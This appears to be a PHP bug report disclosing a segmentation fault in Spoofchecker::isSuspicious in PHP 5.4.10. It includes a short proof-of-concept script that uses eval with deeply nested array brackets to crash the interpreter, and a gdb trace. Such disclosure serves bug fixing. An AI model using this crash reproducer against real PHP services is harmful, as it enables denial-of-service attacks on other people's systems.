Description:
------------
Description:
Spoofchecker::isSuspicious — Checks if a given text contains any suspicious 
characters
public bool Spoofchecker::isSuspicious ( string $text [, string &$error ] )
This function is currently not documented; only its argument list is available.

Test:
cx@cx32:/test$ php c0poc.php 10000

cx@cx32:/test$ php c0poc.php 90000

Segmentation fault (core dumped)
cx@cx32:/test$ gdb /cxsecurity/php/54/bin/php

(gdb) r /test/c0poc.php 90000
Starting program: /cxsecurity/php/54/bin/php /test/c0poc.php 90000


Program received signal SIGSEGV, Segmentation fault.
0x08305230 in zend_hash_destroy (ht=0x92408e0)
    at /cxsecurity/php/54/Zend/zend_hash.c:560
560				ht->pDestructor(q->pData);

(gdb) r -v
PHP 5.4.10 (cli) (built: Jan  3 2013 00:08:09) 
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
[Inferior 1 (process 7500) exited normally]


Test script:
---------------
<?php 

$eee="
\$nx = new Spoofchecker();
\$nx->isSuspicious(1,\$var".str_repeat("[]",$argv[1]).");";

eval($eee);

?>


Expected result:
----------------
cx@cx32:/test$ php c0poc.php 90000



Actual result:
--------------
cx@cx32:/test$ php c0poc.php 90000

Segmentation fault (core dumped)